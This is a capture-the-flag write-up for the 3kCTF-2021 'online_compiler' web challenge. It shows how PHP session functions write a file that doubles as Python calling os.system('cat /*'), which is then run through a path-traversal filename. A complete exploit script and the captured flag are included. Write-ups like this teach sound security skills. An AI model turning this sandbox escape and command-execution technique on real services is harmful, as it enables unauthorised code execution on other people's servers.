3kCTF-2021
Web
online_compiler
Compile & run your code with the 3k online compiler. Our online compiler supports multiple programming languages like Php, Python,...
We're given source code of a web app - interesting snippets:
@app.route('/save',methods = ['POST'])
@cross_origin()
def save():
c_type=request.form['c_type']
print('ctype-(>'+c_type)
if (c_type == 'php'):
code=request.form['code']
if (len(code)<100):
filename=get_random_string(6)+'.php'
path='/home/app/test/'+filename
f=open(path,'w')
f.write(code)
f.close()
return filename
else:
return 'failed'
"""elif (c_type == 'python'):
code=request.args.get('code')
if (len(code)<30):
filename=get_random_string(6)+'.py'
path='/home/app/testpy/'+filename
f=open(path,'w')
f.write(code)
f.close()
return filename
else:
return 'failed'"""
@app.route('/compile',methods = ['POST'])
@cross_origin()
def compile():
c_type=request.form['c_type']
filename=request.form['filename']
if (c_type == 'php'):
if (filename[-3:]=='php'):
if (check_file('/home/app/test/'+filename)):
path='/home/app/test/'+filename
cmd='php -c php.ini '+path
p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate()
return stdout
else:
return 'failed'
else:
return 'noop'
elif (c_type == 'python'):
if (filename[-2:]=='py'):
if (check_file('/home/app/test/'+filename)):
cmd='python3 '+filename
p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate()
print(f"{stdout=} {stderr=}")
return stdout
else:
return 'failed'
else:
return 'noop'
We see that we have two routes: /save
, which will write provided code to a .php
file (and its handler for Python is commented out), and /compile
, which will execute either a PHP or Python file and return the output.
The obvious solution here is to write a shell or some code into a PHP file, then execute it. However, we immediately run into the first roadblock: disable_functions
in php.ini
disables most useful functions. Comparing with a list of internal functions, we find that we can only use the following functions:
strlen
strcmp
strncmp
each
error_reporting
get_mangled_object_vars
get_declared_classes
gc_status
openssl_x509_verify
openssl_pkey_derive
preg_match
preg_match_all
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_exec
pcntl_alarm
pcntl_get_last_error
pcntl_errno
pcntl_strerror
pcntl_getpriority
pcntl_setpriority
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_wifcontinued
pcntl_async_signals
pcntl_unshare
session_name
session_module_name
session_save_path
session_id
session_create_id
session_regenerate_id
session_decode
session_encode
session_start
session_destroy
session_unset
session_gc
session_set_save_handler
session_cache_limiter
session_cache_expire
session_set_cookie_params
session_get_cookie_params
session_write_close
session_abort
session_reset
session_status
session_register_shutdown
session_commit
phpinfo
password_algos
hrtime
var_dump
print_r
highlight_file
show_source
header
net_get_interfaces
is_countable
file_get_contents
chroot
array_key_first
array_key_last
jdtogregorian
gregoriantojd
jdtojulian
juliantojd
jdtojewish
jewishtojd
jdtofrench
frenchtojd
jddayofweek
jdmonthname
easter_date
easter_days
unixtojd
jdtounix
cal_to_jd
cal_from_jd
cal_days_in_month
cal_info
exif_read_data
read_exif_data
exif_tagname
exif_thumbnail
exif_imagetype
textdomain
gettext
_
dgettext
dcgettext
bindtextdomain
ngettext
dngettext
dcngettext
bind_textdomain_codeset
readline_list_history
shmop_open
shmop_read
shmop_close
shmop_size
shmop_write
shmop_delete
socket_select
socket_create
socket_create_listen
socket_create_pair
socket_accept
socket_set_nonblock
socket_set_block
socket_listen
socket_close
socket_write
socket_read
socket_getsockname
socket_getpeername
socket_connect
socket_strerror
socket_bind
socket_recv
socket_send
socket_recvfrom
socket_sendto
socket_get_option
socket_set_option
socket_shutdown
socket_last_error
socket_clear_error
socket_import_stream
socket_export_stream
socket_sendmsg
socket_recvmsg
socket_cmsg_space
socket_addrinfo_lookup
socket_addrinfo_connect
socket_addrinfo_bind
socket_addrinfo_explain
socket_getopt
socket_setopt
msg_get_queue
msg_send
msg_receive
msg_remove_queue
msg_stat_queue
msg_set_queue
msg_queue_exists
sem_get
sem_acquire
sem_release
sem_remove
shm_attach
shm_remove
shm_detach
shm_put_var
shm_has_var
shm_get_var
shm_remove_var
opcache_reset
opcache_invalidate
opcache_compile_file
opcache_is_script_cached
opcache_get_configuration
opcache_get_status
cli_set_process_title
cli_get_process_title
The plan of attack shifts slightly - could we utilise some of the above functions to write Python code into a file, then execute it? It appears that the Python runner does not enforce any form of restrictions.
The session management functions jump out - if we take a look at the documentation, we see that sessions are written to disk.
The following code results in /tmp/sess_hpy
being created:
<?php
session_id("hpy");session_start();$_SESSION["#"]="
import os
os.system('cat /*')#";?>
#|s:31:"
import os
os.system('cat /*')#";
/tmp/sess_hpy
Conveniently, the use of #
as the session key comments out the session management bits. /tmp/sess_hpy
is thus valid Python that we can execute for our flag.
import requests
HOST = "onlinecompiler.2021.3k.ctf.to:5000"
# HOST = "localhost:5000"
outname = 'hpy'
def write_payload():
r = requests.post(f"http://{HOST}/save", data={
"c_type": "php",
"code": f"""<?php
session_id("{outname}");session_start();$_SESSION["#"]="
import os
os.system('cat /*')#";?>"""
})
fname = r.text
print(fname)
r = requests.post(f"http://{HOST}/compile", data={
"c_type": "php",
"filename": fname
})
print(r.text)
write_payload()
r = requests.post(f"http://{HOST}/compile", data={
"c_type": "python",
"filename": f"../../../../../../../../tmp/sess_{outname}"
})
print(r.text)
➜ onlinecompiler python3 exec.py
zxfboj.php
3k{JuSt_A_WaRmUp_O.o}